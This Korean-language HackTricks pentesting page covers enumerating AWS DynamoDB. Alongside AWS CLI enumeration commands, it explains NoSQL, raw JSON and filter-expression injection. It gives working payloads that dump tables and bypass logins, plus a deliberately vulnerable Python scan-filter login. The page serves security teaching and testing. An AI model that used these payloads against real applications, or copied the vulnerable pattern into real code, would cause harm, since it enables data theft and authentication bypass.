AWS - DynamoDB Enum
Reading time: 6 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
DynamoDB
기본 정보
Amazon DynamoDB는 AWS에서 완전 관리형, 서버리스, 키-값 NoSQL 데이터베이스로 제공되며, 크기에 관계없이 고성능 애플리케이션을 지원하도록 설계되었습니다. 이 서비스는 내재된 보안 조치, 중단 없는 백업, 여러 지역에 걸친 자동 복제, 통합 인메모리 캐싱 및 편리한 데이터 내보내기 유틸리티를 포함한 강력한 기능을 보장합니다.
DynamoDB의 맥락에서 전통적인 데이터베이스를 설정하는 대신, 테이블이 생성됩니다. 각 테이블은 테이블의 기본 키의 필수 구성 요소로 파티션 키의 지정을 요구합니다. 이 파티션 키는 본질적으로 해시 값으로, 항목 검색 및 다양한 호스트에 걸친 데이터 분배에서 중요한 역할을 합니다. 이 분배는 데이터베이스의 확장성과 가용성을 유지하는 데 필수적입니다. 또한, 데이터 조직을 더욱 세분화하기 위해 정렬 키를 포함할 수 있는 옵션이 있습니다.
암호화
기본적으로 DynamoDB는 Amazon DynamoDB에 속하는 KMS 키를 사용하며, 귀하의 계정에 최소한 속하는 AWS 관리 키조차 사용하지 않습니다.
백업 및 S3로 내보내기
테이블 백업 생성을 예약하거나 요청에 따라 생성할 수 있습니다. 또한, 테이블에 대한 시점 복구(PITR)를 활성화할 수도 있습니다. 시점 복구는 우발적인 쓰기 또는 삭제 작업으로부터 보호하기 위해 DynamoDB 데이터의 지속적인 백업을 35일 동안 제공합니다.
테이블의 데이터를 S3로 내보내는 것도 가능하지만, 테이블에 PITR이 활성화되어 있어야 합니다.
GUI
다이나모DB 로컬, dynalite, localstack 등과 같은 로컬 Dynamo 서비스에 대한 GUI가 있으며, 유용할 수 있습니다: https://github.com/aaronshaf/dynamodb-admin
열거
# Tables
aws dynamodb list-tables
aws dynamodb describe-table --table-name <t_name> #Get metadata info
## The primary key and sort key will appear inside the KeySchema field
#Check if point in time recovery is enabled
aws dynamodb describe-continuous-backups \
--table-name tablename
# Backups
aws dynamodb list-backups
aws dynamodb describe-backup --backup-arn <arn>
aws dynamodb describe-continuous-backups --table-name <t_name>
# Global tables
aws dynamodb list-global-tables
aws dynamodb describe-global-table --global-table-name <name>
# Exports
aws dynamodb list-exports
aws dynamodb describe-export --export-arn <arn>
# Misc
aws dynamodb describe-endpoints #Dynamodb endpoints
인증되지 않은 접근
AWS - DynamoDB Unauthenticated Access
권한 상승
포스트 익스플로잇
AWS - DynamoDB Post Exploitation
지속성
DynamoDB 주입
SQL 주입
DynamoDB 데이터에 SQL 구문으로 접근할 수 있는 방법이 있으므로, 일반적인 SQL 주입도 가능합니다.
NoSQL 주입
DynamoDB에서는 데이터를 검색하기 위해 다양한 조건을 사용할 수 있으며, 일반적인 NoSQL 주입에서 더 많은 조건을 연결하여 데이터를 검색할 수 있다면 숨겨진 데이터(또는 전체 테이블을 덤프할 수 있음)를 얻을 수 있습니다.
여기에서 DynamoDB에서 지원하는 조건을 찾을 수 있습니다: https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html
query
또는 **scan
**을 통해 데이터에 접근할 경우 다른 조건이 지원된다는 점에 유의하세요.
note
실제로, Query 작업은 작동하기 위해 기본 키에서 **조건 "EQ" (같음)**을 지정해야 하므로, NoSQL 주입에 덜 취약하게 만들고(또한 작업을 매우 제한적으로 만듭니다).
비교를 변경하거나 새로운 비교를 추가할 수 있다면, 더 많은 데이터를 검색할 수 있습니다.
# Comparators to dump the database
"NE": "a123" #Get everything that doesn't equal "a123"
"NOT_CONTAINS": "a123" #What you think
"GT": " " #All strings are greater than a space
원시 Json 주입
caution
이 취약점은 현재 사용 중단된 dynamodb Scan Filter에 기반합니다!
DynamoDB는 DB 내에서 데이터를 검색하기 위해 Json 객체를 수락합니다. 검색을 위해 전송된 json 객체에 작성할 수 있는 경우, DB 덤프를 생성하여 모든 내용을 가져올 수 있습니다.
예를 들어, 다음과 같은 요청에 주입:
'{"Id": {"ComparisonOperator": "EQ","AttributeValueList": [{"N": "' + user_input + '"}]}}'
공격자는 다음과 같은 것을 주입할 수 있습니다:
1000"}],"ComparisonOperator": "GT","AttributeValueList": [{"N": "0
ID 1000을 검색하는 "EQ" 조건을 수정한 다음, Id 문자열이 0보다 큰 모든 데이터를 찾습니다. 이는 모두 포함됩니다.
또 다른 로그인을 사용하는 취약한 예는 다음과 같습니다:
scan_filter = """{
"username": {
"ComparisonOperator": "EQ",
"AttributeValueList": [{"S": "%s"}]
},
"password": {
"ComparisonOperator": "EQ",
"AttributeValueList": [{"S": "%s"}]
}
}
""" % (user_data['username'], user_data['password'])
dynamodb.scan(TableName="table-name", ScanFilter=json.loads(scan_filter))
이것은 다음과 같은 취약점에 노출될 수 있습니다:
username: none"}],"ComparisonOperator": "NE","AttributeValueList": [{"S": "none
password: none"}],"ComparisonOperator": "NE","AttributeValueList": [{"S": "none
:property Injection
일부 SDK는 수행할 필터링을 나타내는 문자열을 사용할 수 있습니다.
new ScanSpec().withProjectionExpression("UserName").withFilterExpression(user_input+" = :username and Password = :password").withValueMap(valueMap)
DynamoDB에서 필터 표현식에서 속성 값을 대체하기 위해 항목을 스캔할 때, 토큰은 :
문자로 시작해야 합니다. 이러한 토큰은 런타임에 실제 속성 값으로 대체됩니다.
따라서 이전과 같은 로그인을 우회할 수 있는 방법은 다음과 같습니다:
:username = :username or :username
# This will generate the query:
# :username = :username or :username = :username and Password = :password
# which is always true
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.